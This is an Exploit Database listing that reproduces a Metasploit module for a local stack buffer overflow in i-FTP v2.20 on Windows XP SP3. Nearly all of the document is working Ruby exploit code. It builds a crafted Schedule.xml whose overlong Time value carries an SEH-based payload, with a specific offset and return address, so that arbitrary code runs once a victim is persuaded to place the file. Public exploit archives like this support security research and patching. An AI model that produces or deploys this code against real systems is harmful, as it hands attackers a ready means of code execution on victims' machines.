i-FTP Schedule – Local Buffer Overflow (Metasploit)

• Exploit Database
• 13 阅读

• 作者： Metasploit
  日期： 2015-01-01
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/35671/

• ##
  # This module requires Metasploit: http://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  require 'rexml/document'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
  
  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh
  include REXML
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'i-FTP Schedule Buffer Overflow',
  'Description'=> %q{
  This module exploits a stack-based buffer overflow vulnerability in
  i-Ftp v2.20, caused by a long time value set for scheduled download.
  By persuading the victim to place a specially-crafted Schedule.xml file
  in the i-FTP folder, a remote attacker could execute arbitrary code on
  the system or cause the application to crash. This module has been
  tested successfully on Windows XP SP3.
  },
  'License'=> MSF_LICENSE,
  'Author' =>
  [
  'metacom',# Vulnerability discovery and PoC
  'Gabor Seljan'# Metasploit module
  ],
  'References' =>
  [
  [ 'EDB', '35177' ],
  [ 'OSVDB', '114279' ],
  ],
  'DefaultOptions' =>
  {
  'ExitFunction' => 'process'
  },
  'Platform' => 'win',
  'Payload'=>
  {
  'BadChars' => "\x00\x0a\x0d\x20\x22",
  'Space'=> 2000
  },
  'Targets'=>
  [
  [ 'Windows XP SP3',
  {
  'Offset' => 600,
  'Ret'=> 0x1001eade# POP ECX # POP ECX # RET [Lgi.dll]
  }
  ]
  ],
  'Privileged' => false,
  'DisclosureDate' => 'Nov 06 2014',
  'DefaultTarget'=> 0))
  
  register_options(
  [
  OptString.new('FILENAME', [ false, 'The file name.', 'Schedule.xml'])
  ],
  self.class)
  
  end
  
  def exploit
  
  evil =rand_text_alpha(target['Offset'])
  evil << generate_seh_payload(target.ret)
  evil << rand_text_alpha(20000)
  
  xml = Document.new
  xml << XMLDecl.new('1.0', 'UTF-8')
  xml.add_element('Schedule', {})
  xml.elements[1].add_element(
  'Event',
  {
  'Url' => '',
  'Time' => 'EVIL',
  'Folder' => ''
  })
  
  sploit = ''
  xml.write(sploit, 2)
  sploit = sploit.gsub(/EVIL/, evil)
  
  # Create the file
  print_status("Creating '#{datastore['FILENAME']}' file ...")
  file_create(sploit)
  
  end
  end